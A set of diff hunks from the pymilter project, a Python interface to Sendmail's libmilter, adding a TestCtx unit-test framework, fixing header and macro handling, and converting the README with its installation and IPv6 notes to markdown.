pfx = pfx.encode() + sep
|
||||||
|
try: # try with localpart@domain
|
||||||
|
return acf[pfx + self.sender.encode() + sfx].rstrip(b'\x00').decode()
|
||||||
|
except KeyError:
|
||||||
|
try: # try with domain
|
||||||
|
d = self.domain.encode()
|
||||||
|
k = pfx + d + sfx
|
||||||
|
while not k in acf and b'.' in d:
|
||||||
|
# check partial domains
|
||||||
|
d = b'.'.join(d.split(b'.')[1:])
|
||||||
|
k = pfx + b'.' + d + sfx
|
||||||
|
return acf[k].rstrip(b'\x00').decode()
|
||||||
|
except KeyError:
|
||||||
|
try: # try bare prefix
|
||||||
|
return acf[pfx + sfx].rstrip(b'\x00').decode()
|
||||||
|
except KeyError:
|
||||||
|
try:
|
||||||
|
return acf[pfx[:-1] + sfx].rstrip(b'\x00').decode()
|
||||||
|
except KeyError:
|
||||||
|
return None
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
|
|
||||||
"""A parser for SGML, using the derived class as a static DTD."""
|
"""A parser for SGML, using the derived class as a static DTD."""
|
||||||
|
|
||||||
# XXX This only supports those SGML features used by HTML.
|
# XXX This only supports those SGML features used by HTML.
|
||||||
+11
-2
@@ -14,6 +14,7 @@ Milter.NOREPLY = Milter.CONTINUE
|
|||||||
## Test mixin for unit testing %milter applications.
|
## Test mixin for unit testing %milter applications.
|
||||||
# This mixin overrides many Milter.MilterBase methods
|
# This mixin overrides many Milter.MilterBase methods
|
||||||
# with stub versions that simply record what was done.
|
# with stub versions that simply record what was done.
|
||||||
|
# @deprecated Use Milter.test.TestCtx
|
||||||
# @since 0.9.8
|
# @since 0.9.8
|
||||||
class TestBase(object):
|
class TestBase(object):
|
||||||
|
|
||||||
@@ -45,6 +46,11 @@ class TestBase(object):
|
|||||||
## The macros returned by protocol stage
|
## The macros returned by protocol stage
|
||||||
self._symlist = [ None, None, None, None, None, None, None ]
|
self._symlist = [ None, None, None, None, None, None, None ]
|
||||||
|
|
||||||
|
def _close(self):
|
||||||
|
if self.logfp:
|
||||||
|
self.logfp.close()
|
||||||
|
self.logfp = None
|
||||||
|
|
||||||
def log(self,*msg):
|
def log(self,*msg):
|
||||||
for i in msg: print(i,file=self.logfp,end=None)
|
for i in msg: print(i,file=self.logfp,end=None)
|
||||||
print(file=self.logfp)
|
print(file=self.logfp)
|
||||||
@@ -58,7 +64,7 @@ class TestBase(object):
|
|||||||
|
|
||||||
def getsymval(self,name):
|
def getsymval(self,name):
|
||||||
stage = self._stage
|
stage = self._stage
|
||||||
if stage >= 0:
|
if stage is not None and stage >= 0:
|
||||||
syms = self._symlist[stage]
|
syms = self._symlist[stage]
|
||||||
if syms is not None and name not in syms:
|
if syms is not None and name not in syms:
|
||||||
return None
|
return None
|
||||||
@@ -138,6 +144,7 @@ class TestBase(object):
|
|||||||
raise ValueError('setsymlist limited to 5 macros by MTA')
|
raise ValueError('setsymlist limited to 5 macros by MTA')
|
||||||
if self._symlist[stage] is not None:
|
if self._symlist[stage] is not None:
|
||||||
raise ValueError('setsymlist already called for stage:'+stage)
|
raise ValueError('setsymlist already called for stage:'+stage)
|
||||||
|
print('setsymlist',stage,a)
|
||||||
self._symlist[stage] = set(a)
|
self._symlist[stage] = set(a)
|
||||||
|
|
||||||
## Feed a file like object to the %milter. Calls envfrom, envrcpt for
|
## Feed a file like object to the %milter. Calls envfrom, envrcpt for
|
||||||
@@ -176,7 +183,7 @@ class TestBase(object):
|
|||||||
if rc != Milter.CONTINUE: return rc
|
if rc != Milter.CONTINUE: return rc
|
||||||
# header
|
# header
|
||||||
for h,val in msg.items():
|
for h,val in msg.items():
|
||||||
rc = self.header(h,val)
|
rc = self.header_bytes(h,val.encode())
|
||||||
if rc != Milter.CONTINUE: return rc
|
if rc != Milter.CONTINUE: return rc
|
||||||
# eoh
|
# eoh
|
||||||
self._stage = Milter.M_EOH
|
self._stage = Milter.M_EOH
|
||||||
@@ -202,6 +209,8 @@ class TestBase(object):
|
|||||||
self._body.write(header)
|
self._body.write(header)
|
||||||
self._body.write(b'\n\n')
|
self._body.write(b'\n\n')
|
||||||
self._body.write(body)
|
self._body.write(body)
|
||||||
|
self.close()
|
||||||
|
self._close()
|
||||||
return rc
|
return rc
|
||||||
|
|
||||||
## Feed an email contained in a file to the %milter.
|
## Feed an email contained in a file to the %milter.
|
||||||
|
|||||||
@@ -0,0 +1,312 @@
|
|||||||
|
## @package Milter.testctx
|
||||||
|
# A test framework for milters that replaces milterContext rather
|
||||||
|
# than Milter.Base. Since miltermodule.c doesn't currently export
|
||||||
|
# a way to query callbacks set (and we might want to run without
|
||||||
|
# loading milter), we assume the callbacks set by Milter.runmilter().
|
||||||
|
|
||||||
|
from __future__ import print_function
|
||||||
|
from socket import AF_INET,AF_INET6
|
||||||
|
from sys import version as VERSION
|
||||||
|
import time
|
||||||
|
import mime
|
||||||
|
try:
|
||||||
|
from io import BytesIO
|
||||||
|
except:
|
||||||
|
from StringIO import StringIO as BytesIO
|
||||||
|
import Milter
|
||||||
|
from Milter import utils
|
||||||
|
|
||||||
|
## Milter context for unit testing %milter applications.
|
||||||
|
# A substitute for milter.milterContext that can be passed to
|
||||||
|
# Milter.Base._setctx().
|
||||||
|
# @since 1.0.3
|
||||||
|
class TestCtx(object):
|
||||||
|
default_opts = [Milter.CURR_ACTS,0x1fffff,0,0]
|
||||||
|
def __init__(self,logfile='test/milter.log'):
|
||||||
|
## Usually the Milter application derived from Milter.Base
|
||||||
|
self._priv = None
|
||||||
|
## List of recipients deleted
|
||||||
|
self._delrcpt = []
|
||||||
|
## List of recipients added
|
||||||
|
self._addrcpt = []
|
||||||
|
## Macros defined
|
||||||
|
self._macros = { }
|
||||||
|
## Reply codes and messages set by the %milter
|
||||||
|
self._reply = None
|
||||||
|
## The macros returned by protocol stage
|
||||||
|
self._symlist = [ None, None, None, None, None, None, None ]
|
||||||
|
## The message body.
|
||||||
|
self._body = None
|
||||||
|
## True if the %milter replaced the message body.
|
||||||
|
self._bodyreplaced = False
|
||||||
|
## True if the %milter changed any headers.
|
||||||
|
self._headerschanged = False
|
||||||
|
## The rfc822 message object for the current email being fed to the %milter.
|
||||||
|
self._msg = None
|
||||||
|
## The MAIL FROM for the current email being fed to the %milter
|
||||||
|
self._sender = None
|
||||||
|
## True if the %milter changed the envelope from.
|
||||||
|
self._envfromchanged = False
|
||||||
|
## List of recipients added
|
||||||
|
self._addrcpt = []
|
||||||
|
## Negotiated options
|
||||||
|
self._opts = TestCtx.default_opts
|
||||||
|
## Last activity
|
||||||
|
self._activity = time.time()
|
||||||
|
|
||||||
|
def getpriv(self):
|
||||||
|
return self._priv
|
||||||
|
|
||||||
|
def setpriv(self,priv):
|
||||||
|
self._priv = priv
|
||||||
|
|
||||||
|
def getsymval(self,name):
|
||||||
|
stage = self._stage
|
||||||
|
if stage >= 0:
|
||||||
|
try:
|
||||||
|
s = name.encode('utf8')
|
||||||
|
except: pass
|
||||||
|
syms = self._symlist[stage]
|
||||||
|
if syms is not None and s not in syms:
|
||||||
|
return None
|
||||||
|
return self._macros.get(name,None)
|
||||||
|
|
||||||
|
def _setsymval(self,name,val):
|
||||||
|
self._macros[name] = val
|
||||||
|
|
||||||
|
def setreply(self,rcode,xcode,*msg):
|
||||||
|
self._reply = (rcode,xcode) + msg
|
||||||
|
|
||||||
|
def setsymlist(self,stage,macros):
|
||||||
|
if self._stage != -1:
|
||||||
|
raise RuntimeError("setsymlist may only be called from negotiate")
|
||||||
|
# Records which macros are available to getsymval()
|
||||||
|
m = macros
|
||||||
|
try:
|
||||||
|
m = m.encode('utf8')
|
||||||
|
except: pass
|
||||||
|
try:
|
||||||
|
m = m.split(b' ')
|
||||||
|
except: pass
|
||||||
|
if len(m) > 5:
|
||||||
|
raise ValueError('setsymlist limited to 5 macros by MTA')
|
||||||
|
if self._symlist[stage] is not None:
|
||||||
|
raise ValueError('setsymlist already called for stage:'+stage)
|
||||||
|
if not m:
|
||||||
|
raise ValueError('setsymlist with empty list for stage:'+stage)
|
||||||
|
self._symlist[stage] = set(m)
|
||||||
|
|
||||||
|
def addheader(self,field,value,idx):
|
||||||
|
if not self._body:
|
||||||
|
raise IOError("addheader not called from eom()")
|
||||||
|
self._msg[field] = value
|
||||||
|
self._headerschanged = True
|
||||||
|
|
||||||
|
def chgheader(self,field,idx,value):
|
||||||
|
if not self._body:
|
||||||
|
raise IOError("chgheader not called from eom()")
|
||||||
|
if value == '':
|
||||||
|
del self._msg[field]
|
||||||
|
else:
|
||||||
|
self._msg[field] = value
|
||||||
|
self._headerschanged = True
|
||||||
|
|
||||||
|
def addrcpt(self,rcpt,params):
|
||||||
|
if not self._body:
|
||||||
|
raise IOError("addrcpt not called from eom()")
|
||||||
|
self._addrcpt.append((rcpt,params))
|
||||||
|
|
||||||
|
def delrcpt(self,rcpt):
|
||||||
|
if not self._body:
|
||||||
|
raise IOError("delrcpt not called from eom()")
|
||||||
|
self._delrcpt.append(rcpt)
|
||||||
|
|
||||||
|
def replacebody(self,chunk):
|
||||||
|
if self._body:
|
||||||
|
self._body.write(chunk)
|
||||||
|
self._bodyreplaced = True
|
||||||
|
else:
|
||||||
|
raise IOError("replacebody not called from eom()")
|
||||||
|
|
||||||
|
def chgfrom(self,sender,params=None):
|
||||||
|
if not self._body:
|
||||||
|
raise IOError("chgfrom not called from eom()")
|
||||||
|
self._envfromchanged = True
|
||||||
|
self._sender = sender
|
||||||
|
|
||||||
|
def quarantine(self,reason):
|
||||||
|
raise NotImplemented
|
||||||
|
|
||||||
|
## Reset activity timer.
|
||||||
|
def progress(self):
|
||||||
|
self._activity = time.time()
|
||||||
|
|
||||||
|
def _abort(self):
|
||||||
|
"What Milter sets for abort_callback"
|
||||||
|
self._priv.abort()
|
||||||
|
self._close()
|
||||||
|
|
||||||
|
def _close(self):
|
||||||
|
Milter.close_callback(self)
|
||||||
|
|
||||||
|
def _negotiate(self):
|
||||||
|
self._body = None
|
||||||
|
self._bodyreplaced = False
|
||||||
|
self._priv = None
|
||||||
|
self._opts = TestCtx.default_opts
|
||||||
|
self._stage = -1
|
||||||
|
rc = Milter.negotiate_callback(self,self._opts)
|
||||||
|
if rc == Milter.ALL_OPTS:
|
||||||
|
self._opts = TestCtx.default_opts
|
||||||
|
elif rc != Milter.CONTINUE:
|
||||||
|
self._abort()
|
||||||
|
self._close()
|
||||||
|
self._protocol = self._opts[1]
|
||||||
|
return rc
|
||||||
|
|
||||||
|
def _connect(self,host='localhost',helo='spamrelay',ip='1.2.3.4'):
|
||||||
|
rc = self._negotiate()
|
||||||
|
# FIXME: what if not CONTINUE or ALL_OPTS?
|
||||||
|
if self._protocol & Milter.P_NOCONNECT:
|
||||||
|
return Milter.CONTINUE
|
||||||
|
if utils.ip4re.match(ip):
|
||||||
|
af = AF_INET
|
||||||
|
elif utils.ip6re.match(ip):
|
||||||
|
af = AF_INET6
|
||||||
|
else:
|
||||||
|
raise ValueError('TestCtx.connect: invalid ip address: '+ip)
|
||||||
|
self._stage = Milter.M_CONNECT
|
||||||
|
rc = Milter.connect_callback(self,host,af,ip)
|
||||||
|
self._stage = None
|
||||||
|
if rc != Milter.CONTINUE:
|
||||||
|
self._close()
|
||||||
|
return rc
|
||||||
|
return self._helo(helo)
|
||||||
|
|
||||||
|
def _helo(self,helo):
|
||||||
|
if self._protocol & Milter.P_NOHELO:
|
||||||
|
return Milter.CONTINUE
|
||||||
|
self._stage = Milter.M_HELO
|
||||||
|
rc = self._priv.hello(helo)
|
||||||
|
self._stage = None
|
||||||
|
if rc != Milter.CONTINUE:
|
||||||
|
self._close()
|
||||||
|
return rc
|
||||||
|
|
||||||
|
def _envfrom(self,*s):
|
||||||
|
self._sender = s[0]
|
||||||
|
if self._protocol & Milter.P_NOMAIL:
|
||||||
|
return Milter.CONTINUE
|
||||||
|
self._stage = Milter.M_ENVFROM
|
||||||
|
rc = self._priv.envfrom(*s)
|
||||||
|
self._stage = None
|
||||||
|
return rc
|
||||||
|
|
||||||
|
def _envrcpt(self,s):
|
||||||
|
if self._protocol & Milter.P_NORCPT:
|
||||||
|
return Milter.CONTINUE
|
||||||
|
self._stage = Milter.M_ENVRCPT
|
||||||
|
rc = self._priv.envrcpt(s)
|
||||||
|
self._stage = None
|
||||||
|
return rc
|
||||||
|
|
||||||
|
def _data(self):
|
||||||
|
if self._protocol & Milter.P_NODATA:
|
||||||
|
return Milter.CONTINUE
|
||||||
|
self._stage = Milter.M_DATA
|
||||||
|
rc = self._priv.data()
|
||||||
|
self._stage = None
|
||||||
|
return rc
|
||||||
|
|
||||||
|
def _header(self,fld,val):
|
||||||
|
if VERSION < '3.0.0':
|
||||||
|
return self._priv.header(fld,val)
|
||||||
|
# email.message_from_binary_file uses surrogateescape to
|
||||||
|
# preserve original bytes in unicode string for decoding errors.
|
||||||
|
# convert str or Header back to original bytes
|
||||||
|
if hasattr(val, '_chunks'):
|
||||||
|
# val is a Header object for invalid header values
|
||||||
|
v = b''
|
||||||
|
for s,charset in val._chunks:
|
||||||
|
# recover the original bytes
|
||||||
|
b = s.encode(encoding='ascii',errors='surrogateescape')
|
||||||
|
v += b
|
||||||
|
else:
|
||||||
|
v = val.encode(encoding='ascii',errors='surrogateescape')
|
||||||
|
# invoke the Milter header_callback
|
||||||
|
return self._priv.header_bytes(fld,v)
|
||||||
|
|
||||||
|
def _eoh(self):
|
||||||
|
if self._protocol & Milter.P_NOEOH:
|
||||||
|
return Milter.CONTINUE
|
||||||
|
self._stage = Milter.M_EOH
|
||||||
|
rc = self._priv.eoh()
|
||||||
|
self._stage = None
|
||||||
|
return rc
|
||||||
|
|
||||||
|
def _feed_body(self,bfp):
|
||||||
|
if self._protocol & Milter.P_NOBODY:
|
||||||
|
return Milter.CONTINUE
|
||||||
|
while True:
|
||||||
|
buf = bfp.read(8192)
|
||||||
|
if len(buf) == 0: break
|
||||||
|
rc = self._priv.body(buf)
|
||||||
|
if rc != Milter.CONTINUE: return rc
|
||||||
|
return Milter.CONTINUE
|
||||||
|
|
||||||
|
def _eom(self):
|
||||||
|
self._body = BytesIO()
|
||||||
|
self._stage = Milter.M_EOM
|
||||||
|
rc = self._priv.eom()
|
||||||
|
self._stage = None
|
||||||
|
return rc
|
||||||
|
|
||||||
|
## Feed a file like object to the ctx. Calls the callbacks in
|
||||||
|
# the same sequence as libmilter.
|
||||||
|
# @param fp the file with rfc2822 message stream
|
||||||
|
# @param sender the MAIL FROM
|
||||||
|
# @param rcpt RCPT TO - additional recipients may follow
|
||||||
|
def _feedFile(self,fp,sender="spam@adv.com",rcpt="victim@lamb.com",*rcpts):
|
||||||
|
self._body = None
|
||||||
|
self._bodyreplaced = False
|
||||||
|
self._headerschanged = False
|
||||||
|
self._reply = None
|
||||||
|
msg = mime.message_from_file(fp)
|
||||||
|
self._msg = msg
|
||||||
|
# envfrom
|
||||||
|
rc = self._envfrom('<%s>'%sender)
|
||||||
|
if rc != Milter.CONTINUE: return rc
|
||||||
|
# envrcpt
|
||||||
|
for rcpt in (rcpt,) + rcpts:
|
||||||
|
rc = self._envrcpt('<%s>'%rcpt)
|
||||||
|
if rc != Milter.CONTINUE: return rc
|
||||||
|
# data
|
||||||
|
rc = self._data()
|
||||||
|
if rc != Milter.CONTINUE: return rc
|
||||||
|
# header
|
||||||
|
for h,val in msg.items():
|
||||||
|
rc = self._header(h,val)
|
||||||
|
if rc != Milter.CONTINUE: return rc
|
||||||
|
# eoh
|
||||||
|
rc = self._eoh()
|
||||||
|
if rc != Milter.CONTINUE: return rc
|
||||||
|
# body
|
||||||
|
header,body = msg.as_bytes().split(b'\n\n',1)
|
||||||
|
rc = self._feed_body(BytesIO(body))
|
||||||
|
if rc != Milter.CONTINUE: return rc
|
||||||
|
rc = self._eom()
|
||||||
|
if self._bodyreplaced:
|
||||||
|
body = self._body.getvalue()
|
||||||
|
self._body = BytesIO()
|
||||||
|
self._body.write(header)
|
||||||
|
self._body.write(b'\n\n')
|
||||||
|
self._body.write(body)
|
||||||
|
return rc
|
||||||
|
|
||||||
|
## Feed an email contained in a file to the %milter.
|
||||||
|
# This is a convenience method that invokes @link #feedFile feedFile @endlink.
|
||||||
|
# @param sender MAIL FROM
|
||||||
|
# @param rcpts RCPT TO, multiple recipients may be supplied
|
||||||
|
def _feedMsg(self,fname,sender="spam@adv.com",*rcpts):
|
||||||
|
with open('test/'+fname,'rb') as fp:
|
||||||
|
return self._feedFile(fp,sender,*rcpts)
|
||||||
+3
-1
@@ -8,6 +8,7 @@ import socket
|
|||||||
import email.errors
|
import email.errors
|
||||||
from email.header import decode_header
|
from email.header import decode_header
|
||||||
import email.base64mime
|
import email.base64mime
|
||||||
|
import email.utils
|
||||||
from fnmatch import fnmatchcase
|
from fnmatch import fnmatchcase
|
||||||
from binascii import a2b_base64
|
from binascii import a2b_base64
|
||||||
|
|
||||||
@@ -215,7 +216,8 @@ def parse_header(val):
|
|||||||
u.append(s.decode())
|
u.append(s.decode())
|
||||||
else:
|
else:
|
||||||
u.append(s.decode())
|
u.append(s.decode())
|
||||||
u = u''.join(u)
|
u = ''.join(u)
|
||||||
|
if type(u) is str: return u
|
||||||
for enc in ('us-ascii','iso-8859-1','utf-8'):
|
for enc in ('us-ascii','iso-8859-1','utf-8'):
|
||||||
try:
|
try:
|
||||||
return u.encode(enc)
|
return u.encode(enc)
|
||||||
|
|||||||
+47
-74
@@ -1,5 +1,4 @@
|
|||||||
Abstract
|
# Abstract
|
||||||
--------
|
|
||||||
|
|
||||||
This is a python extension module to enable python scripts to attach to
|
This is a python extension module to enable python scripts to attach to
|
||||||
Sendmail's libmilter API, enabling filtering of messages as they arrive.
|
Sendmail's libmilter API, enabling filtering of messages as they arrive.
|
||||||
@@ -7,63 +6,44 @@ Since it's a script, you can do anything you want to the message - screen
|
|||||||
out viruses, collect statistics, add or modify headers, etc. You can, at
|
out viruses, collect statistics, add or modify headers, etc. You can, at
|
||||||
any point, tell Sendmail to reject, discard, or accept the message.
|
any point, tell Sendmail to reject, discard, or accept the message.
|
||||||
|
|
||||||
|
Additional python modules provide for navigating and modifying MIME parts, and
|
||||||
|
sending DSNs or doing CBVs.
|
||||||
|
|
||||||
Requirements
|
# Requirements
|
||||||
------------
|
|
||||||
|
|
||||||
Python milter extension: http://https://pypi.python.org/pypi/pymilter/
|
Python milter extension: https://pypi.org/project/pymilter/
|
||||||
Python: http://www.python.org
|
Python: http://www.python.org
|
||||||
Sendmail: http://www.sendmail.org
|
Sendmail: http://www.sendmail.org
|
||||||
|
or
|
||||||
|
Postfix: http://www.postfix.org/MILTER_README.html
|
||||||
|
|
||||||
NB: From Sendmail's libmilter/README:
|
# Quick Installation
|
||||||
|
|
||||||
libmilter requires pthread support in the operating system. Moreover, it
|
1. Build and install Sendmail, enabling libmilter (see libmilter/README).
|
||||||
requires that the library functions it uses are thread safe; which is true
|
2. Build and install Python, enabling threading.
|
||||||
for the operating systems libmilter has been developed and tested on. On
|
3. Install this module: python setup.py --help
|
||||||
some operating systems this requires special compile time options (e.g.,
|
4. Add these two lines to sendmail.cf[a]:
|
||||||
not just -pthread). libmilter is currently known to work on (modulo problems
|
```
|
||||||
in the pthread support of some specific versions):
|
O InputMailFilters=pythonfilter
|
||||||
|
Xpythonfilter, S=local:/home/username/pythonsock
|
||||||
FreeBSD 3.x, 4.x
|
```
|
||||||
SunOS 5.x (x >= 5)
|
5. Run the sample.py example milter with: python sample.py
|
||||||
AIX 4.3.x
|
Note that milters should almost certainly not run as root.
|
||||||
HP UX 11.x
|
|
||||||
Linux (recent versions/distributions)
|
|
||||||
|
|
||||||
libmilter is currently not supported on:
|
|
||||||
|
|
||||||
IRIX 6.x
|
|
||||||
Ultrix
|
|
||||||
|
|
||||||
Quick Installation
|
|
||||||
------------------
|
|
||||||
|
|
||||||
1. Build and install Sendmail, enabling libmilter (see libmilter/README).
|
|
||||||
2. Build and install Python, enabling threading.
|
|
||||||
3. Install this module: python setup.py --help
|
|
||||||
4. Add these two lines to sendmail.cf[*]:
|
|
||||||
|
|
||||||
O InputMailFilters=pythonfilter
|
|
||||||
Xpythonfilter, S=local:/home/username/pythonsock
|
|
||||||
|
|
||||||
5. Run the sample.py example milter with: python sample.py
|
|
||||||
Note that milters should almost certainly not run as root.
|
|
||||||
|
|
||||||
That's it. Incoming mail will cause the milter to print some things, and
|
That's it. Incoming mail will cause the milter to print some things, and
|
||||||
some email will be rejected (see the "header" method). Edit and play.
|
some email will be rejected (see the "header" method). Edit and play.
|
||||||
See spfmilter.py for a functional SPF milter, or see bms.py for an complex
|
See spfmilter.py for a functional SPF milter, or see bms.py for an complex
|
||||||
milter used in production.
|
milter used in production.
|
||||||
|
|
||||||
[*] This is for a quick test. Your sendmail.cf in most distros will get
|
[a] This is for a quick test. Your sendmail.cf in most distros will get
|
||||||
overwritten whenever sendmail.mc is updated. To make a milter permanent,
|
overwritten whenever sendmail.mc is updated. To make a milter permanent,
|
||||||
add something like:
|
add something like:
|
||||||
|
```
|
||||||
INPUT_MAIL_FILTER(`pythonfilter', `S=local:/home/username/pythonsock, F=T, T=C:5m;S:20s;R:5m;E:5m')
|
INPUT_MAIL_FILTER(`pythonfilter', `S=local:/home/username/pythonsock, F=T, T=C:5m;S:20s;R:5m;E:5m')
|
||||||
|
```
|
||||||
to sendmail.mc instead.
|
to sendmail.mc instead.
|
||||||
|
|
||||||
Not-so-quick Installation
|
# Not-so-quick Installation
|
||||||
-------------------------
|
|
||||||
|
|
||||||
First install Sendmail. Make sure you read libmilter/README in the Sendmail
|
First install Sendmail. Make sure you read libmilter/README in the Sendmail
|
||||||
source directory, and make sure you enable libmilter before you build. The
|
source directory, and make sure you enable libmilter before you build. The
|
||||||
@@ -76,18 +56,13 @@ Install this miltermodule package; DistUtils Automatic Installation:
|
|||||||
|
|
||||||
$ python setup.py --help
|
$ python setup.py --help
|
||||||
|
|
||||||
For versions of python prior to 2.0, you will need to download distutils
|
|
||||||
separately or build manually. You will need to download unittest
|
|
||||||
separately to run the test programs. The bdist_rpm distutils option seems
|
|
||||||
not to work for python 2.0; upgrade to at least 2.1.1.
|
|
||||||
|
|
||||||
Now that everything is installed, we need to tell sendmail that we're going
|
Now that everything is installed, we need to tell sendmail that we're going
|
||||||
to filter incoming email. Add lines similar to the following to
|
to filter incoming email. Add lines similar to the following to
|
||||||
sendmail.cf:
|
sendmail.cf:
|
||||||
|
```
|
||||||
O InputMailFilters=pythonfilter
|
O InputMailFilters=pythonfilter
|
||||||
Xpythonfilter, S=local:/home/username/pythonsock
|
Xpythonfilter, S=local:/home/username/pythonsock
|
||||||
|
```
|
||||||
The "O" line tells sendmail which filters to use in what order; here we're
|
The "O" line tells sendmail which filters to use in what order; here we're
|
||||||
telling sendmail to use the filter named "pythonfilter".
|
telling sendmail to use the filter named "pythonfilter".
|
||||||
|
|
||||||
@@ -101,25 +76,24 @@ NB: The name is specified in two places: here, in sendmail's cf file, and
|
|||||||
in the milter itself. Make sure the two match.
|
in the milter itself. Make sure the two match.
|
||||||
|
|
||||||
NB: The above lines can be added in your .mc file with this line:
|
NB: The above lines can be added in your .mc file with this line:
|
||||||
|
```
|
||||||
INPUT_MAIL_FILTER(`pythonfilter', `S=local:/home/username/pythonsock')
|
INPUT_MAIL_FILTER(`pythonfilter', `S=local:/home/username/pythonsock')
|
||||||
|
```
|
||||||
For versions of sendmail prior to 8.12, you will need to enable
|
For versions of sendmail prior to 8.12, you will need to enable
|
||||||
_FFR_MILTER for the cf macros. For example,
|
`_FFR_MILTER` for the cf macros. For example,
|
||||||
|
```
|
||||||
m4 -D_FFR_MILTER ../m4/cf.m4 myconfig.mc > myconfig.cf
|
m4 -D_FFR_MILTER ../m4/cf.m4 myconfig.mc > myconfig.cf
|
||||||
|
```
|
||||||
IPv6 Notes
|
# IPv6 Notes
|
||||||
----------
|
|
||||||
|
|
||||||
The IPv6 protocol is supported if your operation system supports it
|
The IPv6 protocol is supported if your operation system supports it
|
||||||
and if sendmail was compiled with IPv6 support. To determine if your
|
and if sendmail was compiled with IPv6 support. To determine if your
|
||||||
sendmail supports IPv6, run "sendmail -d0" and check for the NETINET6
|
sendmail supports IPv6, run "sendmail -d0" and check for the NETINET6
|
||||||
compilation option. To compile sendmail with IPv6 support, add this
|
compilation option. To compile sendmail with IPv6 support, add this
|
||||||
declaration to your site.config.m4 before building it:
|
declaration to your site.config.m4 before building it:
|
||||||
|
```
|
||||||
APPENDDEF(`confENVDEF', `-DNETINET6=1')
|
APPENDDEF(`confENVDEF', `-DNETINET6=1')
|
||||||
|
```
|
||||||
IPv6 support can show up in two places; the communications socket
|
IPv6 support can show up in two places; the communications socket
|
||||||
between the milter and sendmail processes and in the host address
|
between the milter and sendmail processes and in the host address
|
||||||
argument to the connect() callback method.
|
argument to the connect() callback method.
|
||||||
@@ -130,34 +104,34 @@ want to allow both IPv4 and IPv6 connections, some operating systems
|
|||||||
will require that each listens to different port numbers. For an
|
will require that each listens to different port numbers. For an
|
||||||
IPv6-only setup, your sendmail configuration should contain a line
|
IPv6-only setup, your sendmail configuration should contain a line
|
||||||
similar to (first line is for sendmail.mc, second is sendmail.cf):
|
similar to (first line is for sendmail.mc, second is sendmail.cf):
|
||||||
|
```
|
||||||
DAEMON_OPTIONS(`Name=MTA-v6, Family=inet6, Modify=C, Port=25')
|
DAEMON_OPTIONS(`Name=MTA-v6, Family=inet6, Modify=C, Port=25')
|
||||||
O DaemonPortOptions=Name=MTA-v6, Family=inet6, Modify=C, Port=25
|
O DaemonPortOptions=Name=MTA-v6, Family=inet6, Modify=C, Port=25
|
||||||
|
```
|
||||||
To allow sendmail and the milter process to communicate with each
|
To allow sendmail and the milter process to communicate with each
|
||||||
other over IPv6, you may use the "inet6" socket name prefix, as in:
|
other over IPv6, you may use the "inet6" socket name prefix, as in:
|
||||||
|
```
|
||||||
Xpythonfilter, S=inet6:1234@fec0:0:0:7::5c
|
Xpythonfilter, S=inet6:1234@fec0:0:0:7::5c
|
||||||
|
```
|
||||||
The connect() callback method in the milter class will pass the
|
The connect() callback method in the milter class will pass the
|
||||||
IPv6-specific information in the 'hostaddr' argument as a tuple. Note
|
IPv6-specific information in the 'hostaddr' argument as a tuple. Note
|
||||||
that the type of this value is dependent upon the protocol family, and
|
that the type of this value is dependent upon the protocol family, and
|
||||||
is not compatible with IPv4 connections. Therefore you should always
|
is not compatible with IPv4 connections. Therefore you should always
|
||||||
check the family argument before attempting to use the hostaddr
|
check the family argument before attempting to use the hostaddr
|
||||||
argument. A quick example showing this follows:
|
argument. A quick example showing this follows:
|
||||||
|
```
|
||||||
import socket
|
import socket
|
||||||
...
|
|
||||||
class ipv6awareMilter(Milter.Milter):
|
class ipv6awareMilter(Milter.Milter):
|
||||||
...
|
|
||||||
def connect(self,hostname,family,hostaddr):
|
def connect(self,hostname,family,hostaddr):
|
||||||
if family==socket.AF_INET:
|
if family==socket.AF_INET:
|
||||||
ipaddress, port = hostaddr
|
ipaddress, port = hostaddr
|
||||||
elif family==socket.AF_INET6:
|
elif family==socket.AF_INET6:
|
||||||
ip6address, port, flowinfo, scopeid = hostaddr
|
ip6address, port, flowinfo, scopeid = hostaddr
|
||||||
elif family==socket.AF_UNIX:
|
elif family==socket.AF_UNIX:
|
||||||
socketpath = hostaddr
|
socketpath = hostaddr
|
||||||
|
```
|
||||||
The hostname argument is always safe to use without interpreting the
|
The hostname argument is always safe to use without interpreting the
|
||||||
protocol family. For IPv6 connections for which the hostname can not
|
protocol family. For IPv6 connections for which the hostname can not
|
||||||
be determined the hostname will appear similar to the string
|
be determined the hostname will appear similar to the string
|
||||||
@@ -165,8 +139,7 @@ be determined the hostname will appear similar to the string
|
|||||||
RFC 2553 for information on interpreting and using the flowinfo and
|
RFC 2553 for information on interpreting and using the flowinfo and
|
||||||
scopeid socket attributes, both of which are integers.
|
scopeid socket attributes, both of which are integers.
|
||||||
|
|
||||||
Authors
|
# Authors
|
||||||
-------
|
|
||||||
|
|
||||||
Jim Niemira (urmane@urmane.org) wrote the original C module and some quick
|
Jim Niemira (urmane@urmane.org) wrote the original C module and some quick
|
||||||
and dirty python to use it. Stuart D. Gathman (stuart@gathman.org) took that
|
and dirty python to use it. Stuart D. Gathman (stuart@gathman.org) took that
|
||||||
@@ -1,2 +1,4 @@
|
|||||||
|
Test case for Milter/dsn.py
|
||||||
|
|
||||||
Lookup exact RFC syntax of real name / email and make
|
Lookup exact RFC syntax of real name / email and make
|
||||||
Milter.utils.parse_addr() pass all unit tests.
|
Milter.utils.parse_addr() pass all unit tests.
|
||||||
|
|||||||
+14
-4
@@ -57,7 +57,9 @@
|
|||||||
#
|
#
|
||||||
# @section Useful python packages for milters
|
# @section Useful python packages for milters
|
||||||
#
|
#
|
||||||
# <a href="https://pypi.python.org/pypi/pyspf">pyspf</a> checks the
|
# <a href="https://github.com/sdgathman/pymilter">pymilter</a> - this package.
|
||||||
|
#
|
||||||
|
# <a href="https://github.com/sdgathman/pyspf">pyspf</a> checks the
|
||||||
# SMTP envelope sender (MAIL FROM, passed to the Milter.Base.envfrom callback)
|
# SMTP envelope sender (MAIL FROM, passed to the Milter.Base.envfrom callback)
|
||||||
# against a Sender Policy published in DNS by the sending domain. This
|
# against a Sender Policy published in DNS by the sending domain. This
|
||||||
# can prevent forgery of the MAIL FROM. SPF is Sender Policy Framework.
|
# can prevent forgery of the MAIL FROM. SPF is Sender Policy Framework.
|
||||||
@@ -71,18 +73,26 @@
|
|||||||
# a standard place to summarize the results from DKIM, SPF, rDNS, SMTP AUTH,
|
# a standard place to summarize the results from DKIM, SPF, rDNS, SMTP AUTH,
|
||||||
# and other email authentication methods.
|
# and other email authentication methods.
|
||||||
#
|
#
|
||||||
# <a href="https://pypi.python.org/pypi/pydspam/">pydspam</a> wraps
